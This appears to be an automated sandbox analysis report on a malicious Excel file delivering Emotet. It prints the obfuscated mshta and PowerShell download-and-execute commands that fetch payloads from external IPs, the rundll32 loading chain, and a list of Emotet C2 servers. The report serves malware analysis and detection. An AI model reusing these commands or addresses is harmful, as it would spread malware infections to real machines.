Analysis

  • max time kernel
    139s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220112
  • submitted
    19/01/2022, 22:46

General

  • Target
    241c5d9ab82693492059b9353498a6da.xls
  • Size 141KB
  • Sample220119-2py1qsdgbr
  • SHA256 d7eb6f673e1dfe379598ee10ef05a32e82152bfe1a49aecc0cf808108cb08202
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://0xb907d607/fer/fer.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://185.7.214.7/fer/fer.png

Extracted

Family
  • emotet

Botnet
  • Epoch4

C2
  • 131.100.24.231:80

  • 209.59.138.75:7080

  • 103.8.26.103:8080

  • 51.38.71.0:443

  • 212.237.17.99:8080

  • 79.172.212.216:8080

  • 207.38.84.195:8080

  • 104.168.155.129:8080

  • 178.79.147.66:8080

  • 46.55.222.11:443

  • 103.8.26.102:8080

  • 192.254.71.210:443

  • 45.176.232.124:443

  • 203.114.109.124:443

  • 51.68.175.8:8080

  • 58.227.42.236:80

  • 45.142.114.231:8080

  • 217.182.143.207:443

  • 178.63.25.185:443

  • 45.118.115.99:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Sets service image path in registry 2 TTPs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 4 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 5 IoCs
  • Modifies data under HKEY_USERS 41 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\241c5d9ab82693492059b9353498a6da.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2336
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:4020
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:1444
        • C:\Windows\system32\mshta.exe
          mshta http://0xb907d607/fer/fer.html
          3⤵
          • Blocklisted process makes network request
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:2436
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3288
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:2460
              • C:\Windows\SysWow64\rundll32.exe
                C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
                6⤵
                • Loads dropped DLL
                • Suspicious use of WriteProcessMemory
                PID:3980
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                  7⤵
                  • Loads dropped DLL
                  • Drops file in System32 directory
                  • Suspicious use of WriteProcessMemory
                  PID:1964
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Lxfdbjohgsmpan\crayquwjyzb.rdp",KibHlYKFsh
                    8⤵
                    • Loads dropped DLL
                    • Suspicious use of WriteProcessMemory
                    PID:3944
                    • C:\Windows\SysWOW64\rundll32.exe
                      C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Lxfdbjohgsmpan\crayquwjyzb.rdp",DllRegisterServer
                      9⤵
                      • Blocklisted process makes network request
                      • Loads dropped DLL
                      • Suspicious behavior: EnumeratesProcesses
                      PID:2248
          • C:\Windows\system32\WerFault.exe
            C:\Windows\system32\WerFault.exe -u -p 2436 -s 1720
            4⤵
            • Program crash
            • Checks processor information in registry
            • Enumerates system info in registry
            • Suspicious behavior: EnumeratesProcesses
            PID:752
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
      1⤵
        PID:2400
      • C:\Windows\System32\WaaSMedicAgent.exe
        C:\Windows\System32\WaaSMedicAgent.exe cfa80921a84f88a0e07a1ea2b4370585 pENXZnoQfkS8lHBIlpwrEQ.0.1.0.0.0
        1⤵
        • Modifies data under HKEY_USERS
        PID:3896
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k PrintWorkflow
        1⤵
          PID:3544
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -pss -s 424 -p 2436 -ip 2436
          1⤵
          • Suspicious use of NtCreateProcessExOtherParentProcess
          • Suspicious use of WriteProcessMemory
          PID:872
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k LocalService
          1⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1712
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k LocalService
          1⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1420
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k wusvcs -p
          1⤵
            PID:1844

          Network

                MITRE ATT&CK Enterprise v6

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                Downloads

                memory/1964-369-0x0000000005280000-0x00000000052A6000-memory.dmp

                memory/1964-365-0x0000000005000000-0x0000000005026000-memory.dmp

                memory/1964-363-0x0000000004FA0000-0x0000000004FC6000-memory.dmp

                memory/1964-361-0x0000000004E10000-0x0000000004E36000-memory.dmp

                memory/1964-357-0x0000000004630000-0x0000000004656000-memory.dmp

                memory/2248-379-0x0000000004990000-0x00000000049B6000-memory.dmp

                memory/2248-373-0x0000000004120000-0x0000000004146000-memory.dmp

                memory/2248-387-0x0000000004D90000-0x0000000004DB6000-memory.dmp

                memory/2248-385-0x0000000004CB0000-0x0000000004CD6000-memory.dmp

                memory/2248-383-0x0000000004B80000-0x0000000004BA6000-memory.dmp

                memory/2248-381-0x0000000004A70000-0x0000000004A96000-memory.dmp

                memory/2248-377-0x0000000004930000-0x0000000004956000-memory.dmp

                memory/2336-132-0x00007FFC15C50000-0x00007FFC15C60000-memory.dmp

                memory/2336-138-0x00007FFC13980000-0x00007FFC13990000-memory.dmp

                memory/2336-137-0x00007FFC13980000-0x00007FFC13990000-memory.dmp

                memory/2336-134-0x00007FFC15C50000-0x00007FFC15C60000-memory.dmp

                memory/2336-133-0x00007FFC15C50000-0x00007FFC15C60000-memory.dmp

                memory/2336-131-0x00007FFC15C50000-0x00007FFC15C60000-memory.dmp

                memory/2336-411-0x00007FFC15C50000-0x00007FFC15C60000-memory.dmp

                memory/2336-410-0x00007FFC15C50000-0x00007FFC15C60000-memory.dmp

                memory/2336-409-0x00007FFC15C50000-0x00007FFC15C60000-memory.dmp

                memory/2336-130-0x00007FFC15C50000-0x00007FFC15C60000-memory.dmp

                memory/2336-408-0x00007FFC15C50000-0x00007FFC15C60000-memory.dmp

                memory/3288-246-0x000001F191496000-0x000001F191498000-memory.dmp

                memory/3288-245-0x000001F191493000-0x000001F191495000-memory.dmp

                memory/3288-356-0x000001F1AA110000-0x000001F1AA186000-memory.dmp

                memory/3288-244-0x000001F191490000-0x000001F191492000-memory.dmp

                memory/3288-241-0x000001F1915C0000-0x000001F1915E2000-memory.dmp

                memory/3288-247-0x000001F1919E0000-0x000001F191A24000-memory.dmp

                memory/3944-368-0x0000000004E80000-0x0000000004EA6000-memory.dmp

                memory/3980-353-0x00000000044A0000-0x00000000044C6000-memory.dmp